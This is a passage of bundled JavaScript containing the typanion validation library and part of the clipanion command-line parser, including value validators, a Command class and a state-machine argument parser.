      return true;
    }
  });
}
function hasExactLength(length) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!(value.length === length))
        return pushError(state, `Expected to have a length of exactly ${length} elements (got ${value.length})`);
      return true;
    }
  });
}
function hasUniqueItems({ map } = {}) {
  return makeValidator({
    test: (value, state) =&gt; {
      const set = /* @__PURE__ */ new Set();
      const dup = /* @__PURE__ */ new Set();
      for (let t = 0, T = value.length; t &lt; T; ++t) {
        const sub = value[t];
        const key = typeof map !== `undefined` ? map(sub) : sub;
        if (set.has(key)) {
          if (dup.has(key))
            continue;
          pushError(state, `Expected to contain unique elements; got a duplicate with ${getPrintable(value)}`);
          dup.add(key);
        } else {
          set.add(key);
        }
      }
      return dup.size === 0;
    }
  });
}
function isNegative() {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!(value &lt;= 0))
        return pushError(state, `Expected to be negative (got ${value})`);
      return true;
    }
  });
}
function isPositive() {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!(value &gt;= 0))
        return pushError(state, `Expected to be positive (got ${value})`);
      return true;
    }
  });
}
function isAtLeast(n) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!(value &gt;= n))
        return pushError(state, `Expected to be at least ${n} (got ${value})`);
      return true;
    }
  });
}
function isAtMost(n) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!(value &lt;= n))
        return pushError(state, `Expected to be at most ${n} (got ${value})`);
      return true;
    }
  });
}
function isInInclusiveRange(a, b) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!(value &gt;= a &amp;&amp; value &lt;= b))
        return pushError(state, `Expected to be in the [${a}; ${b}] range (got ${value})`);
      return true;
    }
  });
}
function isInExclusiveRange(a, b) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!(value &gt;= a &amp;&amp; value &lt; b))
        return pushError(state, `Expected to be in the [${a}; ${b}[ range (got ${value})`);
      return true;
    }
  });
}
function isInteger({ unsafe = false } = {}) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (value !== Math.round(value))
        return pushError(state, `Expected to be an integer (got ${value})`);
      if (!unsafe &amp;&amp; !Number.isSafeInteger(value))
        return pushError(state, `Expected to be a safe integer (got ${value})`);
      return true;
    }
  });
}
function matchesRegExp(regExp) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!regExp.test(value))
        return pushError(state, `Expected to match the pattern ${regExp.toString()} (got ${getPrintable(value)})`);
      return true;
    }
  });
}
function isLowerCase() {
  return makeValidator({
    test: (value, state) =&gt; {
      if (value !== value.toLowerCase())
        return pushError(state, `Expected to be all-lowercase (got ${value})`);
      return true;
    }
  });
}
function isUpperCase() {
  return makeValidator({
    test: (value, state) =&gt; {
      if (value !== value.toUpperCase())
        return pushError(state, `Expected to be all-uppercase (got ${value})`);
      return true;
    }
  });
}
function isUUID4() {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!uuid4RegExp.test(value))
        return pushError(state, `Expected to be a valid UUID v4 (got ${getPrintable(value)})`);
      return true;
    }
  });
}
function isISO8601() {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!iso8601RegExp.test(value))
        return pushError(state, `Expected to be a valid ISO 8601 date string (got ${getPrintable(value)})`);
      return true;
    }
  });
}
function isHexColor({ alpha = false }) {
  return makeValidator({
    test: (value, state) =&gt; {
      const res = alpha ? colorStringRegExp.test(value) : colorStringAlphaRegExp.test(value);
      if (!res)
        return pushError(state, `Expected to be a valid hexadecimal color string (got ${getPrintable(value)})`);
      return true;
    }
  });
}
function isBase64() {
  return makeValidator({
    test: (value, state) =&gt; {
      if (!base64RegExp.test(value))
        return pushError(state, `Expected to be a valid base 64 string (got ${getPrintable(value)})`);
      return true;
    }
  });
}
function isJSON(spec = isUnknown()) {
  return makeValidator({
    test: (value, state) =&gt; {
      let data;
      try {
        data = JSON.parse(value);
      } catch (_a) {
        return pushError(state, `Expected to be a valid JSON string (got ${getPrintable(value)})`);
      }
      return spec(data, state);
    }
  });
}
function cascade(spec, ...followups) {
  const resolvedFollowups = Array.isArray(followups[0]) ? followups[0] : followups;
  return makeValidator({
    test: (value, state) =&gt; {
      var _a, _b;
      const context = { value };
      const subCoercion = typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined` ? makeCoercionFn(context, `value`) : void 0;
      const subCoercions = typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined` ? [] : void 0;
      if (!spec(value, Object.assign(Object.assign({}, state), { coercion: subCoercion, coercions: subCoercions })))
        return false;
      const reverts = [];
      if (typeof subCoercions !== `undefined`)
        for (const [, coercion] of subCoercions)
          reverts.push(coercion());
      try {
        if (typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined`) {
          if (context.value !== value) {
            if (typeof (state === null || state === void 0 ? void 0 : state.coercion) === `undefined`)
              return pushError(state, `Unbound coercion result`);
            state.coercions.push([(_a = state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`, state.coercion.bind(null, context.value)]);
          }
          (_b = state === null || state === void 0 ? void 0 : state.coercions) === null || _b === void 0 ? void 0 : _b.push(...subCoercions);
        }
        return resolvedFollowups.every((spec2) =&gt; {
          return spec2(context.value, state);
        });
      } finally {
        for (const revert of reverts) {
          revert();
        }
      }
    }
  });
}
function applyCascade(spec, ...followups) {
  const resolvedFollowups = Array.isArray(followups[0]) ? followups[0] : followups;
  return cascade(spec, resolvedFollowups);
}
function isOptional(spec) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (typeof value === `undefined`)
        return true;
      return spec(value, state);
    }
  });
}
function isNullable(spec) {
  return makeValidator({
    test: (value, state) =&gt; {
      if (value === null)
        return true;
      return spec(value, state);
    }
  });
}
function hasRequiredKeys(requiredKeys, options) {
  var _a;
  const requiredSet = new Set(requiredKeys);
  const check = checks[(_a = options === null || options === void 0 ? void 0 : options.missingIf) !== null &amp;&amp; _a !== void 0 ? _a : &quot;missing&quot;];
  return makeValidator({
    test: (value, state) =&gt; {
      const keys = new Set(Object.keys(value));
      const problems = [];
      for (const key of requiredSet)
        if (!check(keys, key, value))
          problems.push(key);
      if (problems.length &gt; 0)
        return pushError(state, `Missing required ${plural(problems.length, `property`, `properties`)} ${getPrintableArray(problems, `and`)}`);
      return true;
    }
  });
}
function hasAtLeastOneKey(requiredKeys, options) {
  var _a;
  const requiredSet = new Set(requiredKeys);
  const check = checks[(_a = options === null || options === void 0 ? void 0 : options.missingIf) !== null &amp;&amp; _a !== void 0 ? _a : &quot;missing&quot;];
  return makeValidator({
    test: (value, state) =&gt; {
      const keys = Object.keys(value);
      const valid = keys.some((key) =&gt; check(requiredSet, key, value));
      if (!valid)
        return pushError(state, `Missing at least one property from ${getPrintableArray(Array.from(requiredSet), `or`)}`);
      return true;
    }
  });
}
function hasForbiddenKeys(forbiddenKeys, options) {
  var _a;
  const forbiddenSet = new Set(forbiddenKeys);
  const check = checks[(_a = options === null || options === void 0 ? void 0 : options.missingIf) !== null &amp;&amp; _a !== void 0 ? _a : &quot;missing&quot;];
  return makeValidator({
    test: (value, state) =&gt; {
      const keys = new Set(Object.keys(value));
      const problems = [];
      for (const key of forbiddenSet)
        if (check(keys, key, value))
          problems.push(key);
      if (problems.length &gt; 0)
        return pushError(state, `Forbidden ${plural(problems.length, `property`, `properties`)} ${getPrintableArray(problems, `and`)}`);
      return true;
    }
  });
}
function hasMutuallyExclusiveKeys(exclusiveKeys, options) {
  var _a;
  const exclusiveSet = new Set(exclusiveKeys);
  const check = checks[(_a = options === null || options === void 0 ? void 0 : options.missingIf) !== null &amp;&amp; _a !== void 0 ? _a : &quot;missing&quot;];
  return makeValidator({
    test: (value, state) =&gt; {
      const keys = new Set(Object.keys(value));
      const used = [];
      for (const key of exclusiveSet)
        if (check(keys, key, value))
          used.push(key);
      if (used.length &gt; 1)
        return pushError(state, `Mutually exclusive properties ${getPrintableArray(used, `and`)}`);
      return true;
    }
  });
}
function hasKeyRelationship(subject, relationship, others, options) {
  var _a, _b;
  const skipped = new Set((_a = options === null || options === void 0 ? void 0 : options.ignore) !== null &amp;&amp; _a !== void 0 ? _a : []);
  const check = checks[(_b = options === null || options === void 0 ? void 0 : options.missingIf) !== null &amp;&amp; _b !== void 0 ? _b : &quot;missing&quot;];
  const otherSet = new Set(others);
  const spec = keyRelationships[relationship];
  const conjunction = relationship === KeyRelationship.Forbids ? `or` : `and`;
  return makeValidator({
    test: (value, state) =&gt; {
      const keys = new Set(Object.keys(value));
      if (!check(keys, subject, value) || skipped.has(value[subject]))
        return true;
      const problems = [];
      for (const key of otherSet)
        if ((check(keys, key, value) &amp;&amp; !skipped.has(value[key])) !== spec.expect)
          problems.push(key);
      if (problems.length &gt;= 1)
        return pushError(state, `Property &quot;${subject}&quot; ${spec.message} ${plural(problems.length, `property`, `properties`)} ${getPrintableArray(problems, conjunction)}`);
      return true;
    }
  });
}
var simpleKeyRegExp, colorStringRegExp, colorStringAlphaRegExp, base64RegExp, uuid4RegExp, iso8601RegExp, BOOLEAN_COERCIONS, isInstanceOf, isOneOf, TypeAssertionError, checks, KeyRelationship, keyRelationships;
var init_lib = __esm({
  &quot;node_modules/typanion/lib/index.mjs&quot;() {
    simpleKeyRegExp = /^[a-zA-Z_][a-zA-Z0-9_]*$/;
    colorStringRegExp = /^#[0-9a-f]{6}$/i;
    colorStringAlphaRegExp = /^#[0-9a-f]{6}([0-9a-f]{2})?$/i;
    base64RegExp = /^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/;
    uuid4RegExp = /^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}$/i;
    iso8601RegExp = /^(?:[1-9]\d{3}(-?)(?:(?:0[1-9]|1[0-2])\1(?:0[1-9]|1\d|2[0-8])|(?:0[13-9]|1[0-2])\1(?:29|30)|(?:0[13578]|1[02])(?:\1)31|00[1-9]|0[1-9]\d|[12]\d{2}|3(?:[0-5]\d|6[0-5]))|(?:[1-9]\d(?:0[48]|[2468][048]|[13579][26])|(?:[2468][048]|[13579][26])00)(?:(-?)02(?:\2)29|-?366))T(?:[01]\d|2[0-3])(:?)[0-5]\d(?:\3[0-5]\d)?(?:Z|[+-][01]\d(?:\3[0-5]\d)?)$/;
    BOOLEAN_COERCIONS = /* @__PURE__ */ new Map([
      [`true`, true],
      [`True`, true],
      [`1`, true],
      [1, true],
      [`false`, false],
      [`False`, false],
      [`0`, false],
      [0, false]
    ]);
    isInstanceOf = (constructor) =&gt; makeValidator({
      test: (value, state) =&gt; {
        if (!(value instanceof constructor))
          return pushError(state, `Expected an instance of ${constructor.name} (got ${getPrintable(value)})`);
        return true;
      }
    });
    isOneOf = (specs, { exclusive = false } = {}) =&gt; makeValidator({
      test: (value, state) =&gt; {
        var _a, _b, _c;
        const matches = [];
        const errorBuffer = typeof (state === null || state === void 0 ? void 0 : state.errors) !== `undefined` ? [] : void 0;
        for (let t = 0, T = specs.length; t &lt; T; ++t) {
          const subErrors = typeof (state === null || state === void 0 ? void 0 : state.errors) !== `undefined` ? [] : void 0;
          const subCoercions = typeof (state === null || state === void 0 ? void 0 : state.coercions) !== `undefined` ? [] : void 0;
          if (specs[t](value, Object.assign(Object.assign({}, state), { errors: subErrors, coercions: subCoercions, p: `${(_a = state === null || state === void 0 ? void 0 : state.p) !== null &amp;&amp; _a !== void 0 ? _a : `.`}#${t + 1}` }))) {
            matches.push([`#${t + 1}`, subCoercions]);
            if (!exclusive) {
              break;
            }
          } else {
            errorBuffer === null || errorBuffer === void 0 ? void 0 : errorBuffer.push(subErrors[0]);
          }
        }
        if (matches.length === 1) {
          const [, subCoercions] = matches[0];
          if (typeof subCoercions !== `undefined`)
            (_b = state === null || state === void 0 ? void 0 : state.coercions) === null || _b === void 0 ? void 0 : _b.push(...subCoercions);
          return true;
        }
        if (matches.length &gt; 1)
          pushError(state, `Expected to match exactly a single predicate (matched ${matches.join(`, `)})`);
        else
          (_c = state === null || state === void 0 ? void 0 : state.errors) === null || _c === void 0 ? void 0 : _c.push(...errorBuffer);
        return false;
      }
    });
    TypeAssertionError = class extends Error {
      constructor({ errors } = {}) {
        let errorMessage = `Type mismatch`;
        if (errors &amp;&amp; errors.length &gt; 0) {
          errorMessage += `
`;
          for (const error of errors) {
            errorMessage += `
- ${error}`;
          }
        }
        super(errorMessage);
      }
    };
    checks = {
      missing: (keys, key) =&gt; keys.has(key),
      undefined: (keys, key, value) =&gt; keys.has(key) &amp;&amp; typeof value[key] !== `undefined`,
      nil: (keys, key, value) =&gt; keys.has(key) &amp;&amp; value[key] != null,
      falsy: (keys, key, value) =&gt; keys.has(key) &amp;&amp; !!value[key]
    };
    (function(KeyRelationship2) {
      KeyRelationship2[&quot;Forbids&quot;] = &quot;Forbids&quot;;
      KeyRelationship2[&quot;Requires&quot;] = &quot;Requires&quot;;
    })(KeyRelationship || (KeyRelationship = {}));
    keyRelationships = {
      [KeyRelationship.Forbids]: {
        expect: false,
        message: `forbids using`
      },
      [KeyRelationship.Requires]: {
        expect: true,
        message: `requires using`
      }
    };
  }
});

// node_modules/clipanion/lib/advanced/Command.js
var require_Command = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/Command.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_options_utils = require_utils();
    function _interopNamespace(e) {
      if (e &amp;&amp; e.__esModule) return e;
      var n = /* @__PURE__ */ Object.create(null);
      if (e) {
        Object.keys(e).forEach(function(k) {
          if (k !== &quot;default&quot;) {
            var d = Object.getOwnPropertyDescriptor(e, k);
            Object.defineProperty(n, k, d.get ? d : {
              enumerable: true,
              get: function() {
                return e[k];
              }
            });
          }
        });
      }
      n[&quot;default&quot;] = e;
      return Object.freeze(n);
    }
    var Command12 = class {
      constructor() {
        this.help = false;
      }
      /**
       * Defines the usage information for the given command.
       */
      static Usage(usage) {
        return usage;
      }
      /**
       * Standard error handler which will simply rethrow the error. Can be used
       * to add custom logic to handle errors from the command or simply return
       * the parent class error handling.
       */
      async catch(error) {
        throw error;
      }
      async validateAndExecute() {
        const commandClass = this.constructor;
        const cascade2 = commandClass.schema;
        if (Array.isArray(cascade2)) {
          const { isDict: isDict2, isUnknown: isUnknown2, applyCascade: applyCascade2 } = await Promise.resolve().then(function() {
            return /* @__PURE__ */ _interopNamespace((init_lib(), __toCommonJS(lib_exports)));
          });
          const schema = applyCascade2(isDict2(isUnknown2()), cascade2);
          const errors = [];
          const coercions = [];
          const check = schema(this, { errors, coercions });
          if (!check)
            throw advanced_options_utils.formatError(`Invalid option schema`, errors);
          for (const [, op] of coercions) {
            op();
          }
        } else if (cascade2 != null) {
          throw new Error(`Invalid command schema`);
        }
        const exitCode = await this.execute();
        if (typeof exitCode !== `undefined`) {
          return exitCode;
        } else {
          return 0;
        }
      }
    };
    Command12.isOption = advanced_options_utils.isOptionSymbol;
    Command12.Default = [];
    exports2.Command = Command12;
  }
});

// node_modules/clipanion/lib/core.js
var require_core = __commonJS({
  &quot;node_modules/clipanion/lib/core.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var constants2 = require_constants();
    var errors = require_errors();
    function debug(str) {
      if (constants2.DEBUG) {
        console.log(str);
      }
    }
    var basicHelpState = {
      candidateUsage: null,
      requiredOptions: [],
      errorMessage: null,
      ignoreOptions: false,
      path: [],
      positionals: [],
      options: [],
      remainder: null,
      selectedIndex: constants2.HELP_COMMAND_INDEX
    };
    function makeStateMachine() {
      return {
        nodes: [makeNode(), makeNode(), makeNode()]
      };
    }
    function makeAnyOfMachine(inputs) {
      const output = makeStateMachine();
      const heads = [];
      let offset = output.nodes.length;
      for (const input of inputs) {
        heads.push(offset);
        for (let t = 0; t &lt; input.nodes.length; ++t)
          if (!isTerminalNode(t))
            output.nodes.push(cloneNode(input.nodes[t], offset));
        offset += input.nodes.length - 2;
      }
      for (const head of heads)
        registerShortcut(output, constants2.NODE_INITIAL, head);
      return output;
    }
    function injectNode(machine, node) {
      machine.nodes.push(node);
      return machine.nodes.length - 1;
    }
    function simplifyMachine(input) {
      const visited = /* @__PURE__ */ new Set();
      const process5 = (node) =&gt; {
        if (visited.has(node))
          return;
        visited.add(node);
        const nodeDef = input.nodes[node];
        for (const transitions of Object.values(nodeDef.statics))
          for (const { to } of transitions)
            process5(to);
        for (const [, { to }] of nodeDef.dynamics)
          process5(to);
        for (const { to } of nodeDef.shortcuts)
          process5(to);
        const shortcuts = new Set(nodeDef.shortcuts.map(({ to }) =&gt; to));
        while (nodeDef.shortcuts.length &gt; 0) {
          const { to } = nodeDef.shortcuts.shift();
          const toDef = input.nodes[to];
          for (const [segment, transitions] of Object.entries(toDef.statics)) {
            const store = !Object.prototype.hasOwnProperty.call(nodeDef.statics, segment) ? nodeDef.statics[segment] = [] : nodeDef.statics[segment];
            for (const transition of transitions) {
              if (!store.some(({ to: to2 }) =&gt; transition.to === to2)) {
                store.push(transition);
              }
            }
          }
          for (const [test, transition] of toDef.dynamics)
            if (!nodeDef.dynamics.some(([otherTest, { to: to2 }]) =&gt; test === otherTest &amp;&amp; transition.to === to2))
              nodeDef.dynamics.push([test, transition]);
          for (const transition of toDef.shortcuts) {
            if (!shortcuts.has(transition.to)) {
              nodeDef.shortcuts.push(transition);
              shortcuts.add(transition.to);
            }
          }
        }
      };
      process5(constants2.NODE_INITIAL);
    }
    function debugMachine(machine, { prefix = `` } = {}) {
      if (constants2.DEBUG) {
        debug(`${prefix}Nodes are:`);
        for (let t = 0; t &lt; machine.nodes.length; ++t) {
          debug(`${prefix}  ${t}: ${JSON.stringify(machine.nodes[t])}`);
        }
      }
    }
    function runMachineInternal(machine, input, partial = false) {
      debug(`Running a vm on ${JSON.stringify(input)}`);
      let branches = [{ node: constants2.NODE_INITIAL, state: {
        candidateUsage: null,
        requiredOptions: [],
        errorMessage: null,
        ignoreOptions: false,
        options: [],
        path: [],
        positionals: [],
        remainder: null,
        selectedIndex: null
      } }];
      debugMachine(machine, { prefix: `  ` });
      const tokens = [constants2.START_OF_INPUT, ...input];
      for (let t = 0; t &lt; tokens.length; ++t) {
        const segment = tokens[t];
        debug(`  Processing ${JSON.stringify(segment)}`);
        const nextBranches = [];
        for (const { node, state } of branches) {
          debug(`    Current node is ${node}`);
          const nodeDef = machine.nodes[node];
          if (node === constants2.NODE_ERRORED) {
            nextBranches.push({ node, state });
            continue;
          }
          console.assert(nodeDef.shortcuts.length === 0, `Shortcuts should have been eliminated by now`);
          const hasExactMatch = Object.prototype.hasOwnProperty.call(nodeDef.statics, segment);
          if (!partial || t &lt; tokens.length - 1 || hasExactMatch) {
            if (hasExactMatch) {
              const transitions = nodeDef.statics[segment];
              for (const { to, reducer } of transitions) {
                nextBranches.push({ node: to, state: typeof reducer !== `undefined` ? execute(reducers, reducer, state, segment) : state });
                debug(`      Static transition to ${to} found`);
              }
            } else {
              debug(`      No static transition found`);
            }
          } else {
            let hasMatches = false;
            for (const candidate of Object.keys(nodeDef.statics)) {
              if (!candidate.startsWith(segment))
                continue;
              if (segment === candidate) {
                for (const { to, reducer } of nodeDef.statics[candidate]) {
                  nextBranches.push({ node: to, state: typeof reducer !== `undefined` ? execute(reducers, reducer, state, segment) : state });
                  debug(`      Static transition to ${to} found`);
                }
              } else {
                for (const { to } of nodeDef.statics[candidate]) {
                  nextBranches.push({ node: to, state: { ...state, remainder: candidate.slice(segment.length) } });
                  debug(`      Static transition to ${to} found (partial match)`);
                }
              }
              hasMatches = true;
            }
            if (!hasMatches) {
              debug(`      No partial static transition found`);
            }
          }
          if (segment !== constants2.END_OF_INPUT) {
            for (const [test, { to, reducer }] of nodeDef.dynamics) {
              if (execute(tests, test, state, segment)) {
                nextBranches.push({ node: to, state: typeof reducer !== `undefined` ? execute(reducers, reducer, state, segment) : state });
                debug(`      Dynamic transition to ${to} found (via ${test})`);
              }
            }
          }
        }
        if (nextBranches.length === 0 &amp;&amp; segment === constants2.END_OF_INPUT &amp;&amp; input.length === 1) {
          return [{
            node: constants2.NODE_INITIAL,
            state: basicHelpState
          }];
        }
        if (nextBranches.length === 0) {
          throw new errors.UnknownSyntaxError(input, branches.filter(({ node }) =&gt; {
            return node !== constants2.NODE_ERRORED;
          }).map(({ state }) =&gt; {
            return { usage: state.candidateUsage, reason: null };
          }));
        }
        if (nextBranches.every(({ node }) =&gt; node === constants2.NODE_ERRORED)) {
          throw new errors.UnknownSyntaxError(input, nextBranches.map(({ state }) =&gt; {
            return { usage: state.candidateUsage, reason: state.errorMessage };
          }));
        }
        branches = trimSmallerBranches(nextBranches);
      }
      if (branches.length &gt; 0) {
        debug(`  Results:`);
        for (const branch of branches) {
          debug(`    - ${branch.node} -&gt; ${JSON.stringify(branch.state)}`);
        }
      } else {
        debug(`  No results`);
      }
      return branches;
    }
    function checkIfNodeIsFinished(node, state) {
      if (state.selectedIndex !== null)
        return true;
      if (Object.prototype.hasOwnProperty.call(node.statics, constants2.END_OF_INPUT)) {
        for (const { to } of node.statics[constants2.END_OF_INPUT])
          if (to === constants2.NODE_SUCCESS)
            return true;
      }
      return false;
    }
    function suggestMachine(machine, input, partial) {
      const prefix = partial &amp;&amp; input.length &gt; 0 ? [``] : [];
      const branches = runMachineInternal(machine, input, partial);
      const suggestions = [];
      const suggestionsJson = /* @__PURE__ */ new Set();
      const traverseSuggestion = (suggestion, node, skipFirst = true) =&gt; {
        let nextNodes = [node];
        while (nextNodes.length &gt; 0) {
          const currentNodes = nextNodes;
          nextNodes = [];
          for (const node2 of currentNodes) {
            const nodeDef = machine.nodes[node2];
            const keys = Object.keys(nodeDef.statics);
            for (const key of Object.keys(nodeDef.statics)) {
              const segment = keys[0];
              for (const { to, reducer } of nodeDef.statics[segment]) {
                if (reducer !== `pushPath`)
                  continue;
                if (!skipFirst)
                  suggestion.push(segment);
                nextNodes.push(to);
              }
            }
          }
          skipFirst = false;
        }
        const json = JSON.stringify(suggestion);
        if (suggestionsJson.has(json))
          return;
        suggestions.push(suggestion);
        suggestionsJson.add(json);
      };
      for (const { node, state } of branches) {
        if (state.remainder !== null) {
          traverseSuggestion([state.remainder], node);
          continue;
        }
        const nodeDef = machine.nodes[node];
        const isFinished = checkIfNodeIsFinished(nodeDef, state);
        for (const [candidate, transitions] of Object.entries(nodeDef.statics))
          if (isFinished &amp;&amp; candidate !== constants2.END_OF_INPUT || !candidate.startsWith(`-`) &amp;&amp; transitions.some(({ reducer }) =&gt; reducer === `pushPath`))
            traverseSuggestion([...prefix, candidate], node);
        if (!isFinished)
          continue;
        for (const [test, { to }] of nodeDef.dynamics) {
          if (to === constants2.NODE_ERRORED)
            continue;
          const tokens = suggest(test, state);
          if (tokens === null)
            continue;
          for (const token of tokens) {
            traverseSuggestion([...prefix, token], node);
          }
        }
      }
      return [...suggestions].sort();
    }
    function runMachine(machine, input) {
      const branches = runMachineInternal(machine, [...input, constants2.END_OF_INPUT]);
      return selectBestState(input, branches.map(({ state }) =&gt; {
        return state;
      }));
    }
    function trimSmallerBranches(branches) {
      let maxPathSize = 0;
      for (const { state } of branches)
        if (state.path.length &gt; maxPathSize)
          maxPathSize = state.path.length;
      return branches.filter(({ state }) =&gt; {
        return state.path.length === maxPathSize;
      });
    }
    function selectBestState(input, states) {
      const terminalStates = states.filter((state) =&gt; {
        return state.selectedIndex !== null;
      });
      if (terminalStates.length === 0)
        throw new Error();
      const requiredOptionsSetStates = terminalStates.filter((state) =&gt; state.selectedIndex === constants2.HELP_COMMAND_INDEX || state.requiredOptions.every((names) =&gt; names.some((name2) =&gt; state.options.find((opt) =&gt; opt.name === name2))));
      if (requiredOptionsSetStates.length === 0) {
        throw new errors.UnknownSyntaxError(input, terminalStates.map((state) =&gt; ({
          usage: state.candidateUsage,
          reason: null
        })));
      }
      let maxPathSize = 0;
      for (const state of requiredOptionsSetStates)
        if (state.path.length &gt; maxPathSize)
          maxPathSize = state.path.length;
      const bestPathBranches = requiredOptionsSetStates.filter((state) =&gt; {
        return state.path.length === maxPathSize;
      });
      const getPositionalCount = (state) =&gt; state.positionals.filter(({ extra }) =&gt; {
        return !extra;
      }).length + state.options.length;
      const statesWithPositionalCount = bestPathBranches.map((state) =&gt; {
        return { state, positionalCount: getPositionalCount(state) };
      });
      let maxPositionalCount = 0;
      for (const { positionalCount } of statesWithPositionalCount)
        if (positionalCount &gt; maxPositionalCount)
          maxPositionalCount = positionalCount;
      const bestPositionalStates = statesWithPositionalCount.filter(({ positionalCount }) =&gt; {
        return positionalCount === maxPositionalCount;
      }).map(({ state }) =&gt; {
        return state;
      });
      const fixedStates = aggregateHelpStates(bestPositionalStates);
      if (fixedStates.length &gt; 1)
        throw new errors.AmbiguousSyntaxError(input, fixedStates.map((state) =&gt; state.candidateUsage));
      return fixedStates[0];
    }
    function aggregateHelpStates(states) {
      const notHelps = [];
      const helps = [];
      for (const state of states) {
        if (state.selectedIndex === constants2.HELP_COMMAND_INDEX) {
          helps.push(state);
        } else {
          notHelps.push(state);
        }
      }
      if (helps.length &gt; 0) {
        notHelps.push({
          ...basicHelpState,
          path: findCommonPrefix(...helps.map((state) =&gt; state.path)),
          options: helps.reduce((options, state) =&gt; options.concat(state.options), [])
        });
      }
      return notHelps;
    }
    function findCommonPrefix(firstPath, secondPath, ...rest) {
      if (secondPath === void 0)
        return Array.from(firstPath);
      return findCommonPrefix(firstPath.filter((segment, i) =&gt; segment === secondPath[i]), ...rest);
    }
    function makeNode() {
      return {
        dynamics: [],
        shortcuts: [],
        statics: {}
      };
    }
    function isTerminalNode(node) {
      return node === constants2.NODE_SUCCESS || node === constants2.NODE_ERRORED;
    }
    function cloneTransition(input, offset = 0) {
      return {
        to: !isTerminalNode(input.to) ? input.to &gt; 2 ? input.to + offset - 2 : input.to + offset : input.to,
        reducer: input.reducer
      };
    }
    function cloneNode(input, offset = 0) {
      const output = makeNode();
      for (const [test, transition] of input.dynamics)
        output.dynamics.push([test, cloneTransition(transition, offset)]);
      for (const transition of input.shortcuts)
        output.shortcuts.push(cloneTransition(transition, offset));
      for (const [segment, transitions] of Object.entries(input.statics))
        output.statics[segment] = transitions.map((transition) =&gt; cloneTransition(transition, offset));
      return output;
    }
    function registerDynamic(machine, from, test, to, reducer) {
      machine.nodes[from].dynamics.push([
        test,
        { to, reducer }
      ]);
    }
    function registerShortcut(machine, from, to, reducer) {
      machine.nodes[from].shortcuts.push({ to, reducer });
    }
    function registerStatic(machine, from, test, to, reducer) {
      const store = !Object.prototype.hasOwnProperty.call(machine.nodes[from].statics, test) ? machine.nodes[from].statics[test] = [] : machine.nodes[from].statics[test];
      store.push({ to, reducer });
    }
    function execute(store, callback, state, segment) {
      if (Array.isArray(callback)) {
        const [name2, ...args] = callback;
        return store[name2](state, segment, ...args);
      } else {
        return store[callback](state, segment);
      }
    }
    function suggest(callback, state) {
      const fn2 = Array.isArray(callback) ? tests[callback[0]] : tests[callback];
      if (typeof fn2.suggest === `undefined`)
        return null;
      const args = Array.isArray(callback) ? callback.slice(1) : [];
      return fn2.suggest(state, ...args);
    }
    var tests = {
      always: () =&gt; {
        return true;
      },
      isOptionLike: (state, segment) =&gt; {
        return !state.ignoreOptions &amp;&amp; (segment !== `-` &amp;&amp; segment.startsWith(`-`));
      },
      isNotOptionLike: (state, segment) =&gt; {
        return state.ignoreOptions || segment === `-` || !segment.startsWith(`-`);
      },
      isOption: (state, segment, name2, hidden) =&gt; {
        return !state.ignoreOptions &amp;&amp; segment === name2;
      },
      isBatchOption: (state, segment, names) =&gt; {
        return !state.ignoreOptions &amp;&amp; constants2.BATCH_REGEX.test(segment) &amp;&amp; [...segment.slice(1)].every((name2) =&gt; names.includes(`-${name2}`));
      },
      isBoundOption: (state, segment, names, options) =&gt; {
        const optionParsing = segment.match(constants2.BINDING_REGEX);
        return !state.ignoreOptions &amp;&amp; !!optionParsing &amp;&amp; constants2.OPTION_REGEX.test(optionParsing[1]) &amp;&amp; names.includes(optionParsing[1]) &amp;&amp; options.filter((opt) =&gt; opt.names.includes(optionParsing[1])).every((opt) =&gt; opt.allowBinding);
      },
      isNegatedOption: (state, segment, name2) =&gt; {
        return !state.ignoreOptions &amp;&amp; segment === `--no-${name2.slice(2)}`;
      },
      isHelp: (state, segment) =&gt; {
        return !state.ignoreOptions &amp;&amp; constants2.HELP_REGEX.test(segment);
      },
      isUnsupportedOption: (state, segment, names) =&gt; {
        return !state.ignoreOptions &amp;&amp; segment.startsWith(`-`) &amp;&amp; constants2.OPTION_REGEX.test(segment) &amp;&amp; !names.includes(segment);
      },
      isInvalidOption: (state, segment) =&gt; {
        return !state.ignoreOptions &amp;&amp; segment.startsWith(`-`) &amp;&amp; !constants2.OPTION_REGEX.test(segment);
      }
    };
    tests.isOption.suggest = (state, name2, hidden = true) =&gt; {
      return !hidden ? [name2] : null;
    };
    var reducers = {
      setCandidateState: (state, segment, candidateState) =&gt; {
        return { ...state, ...candidateState };
      },
      setSelectedIndex: (state, segment, index) =&gt; {
        return { ...state, selectedIndex: index };
      },
      pushBatch: (state, segment) =&gt; {
        return { ...state, options: state.options.concat([...segment.slice(1)].map((name2) =&gt; ({ name: `-${name2}`, value: true }))) };
      },
      pushBound: (state, segment) =&gt; {
        const [, name2, value] = segment.match(constants2.BINDING_REGEX);
        return { ...state, options: state.options.concat({ name: name2, value }) };
      },
      pushPath: (state, segment) =&gt; {
        return { ...state, path: state.path.concat(segment) };
      },
      pushPositional: (state, segment) =&gt; {
        return { ...state, positionals: state.positionals.concat({ value: segment, extra: false }) };
      },
      pushExtra: (state, segment) =&gt; {
        return { ...state, positionals: state.positionals.concat({ value: segment, extra: true }) };
      },
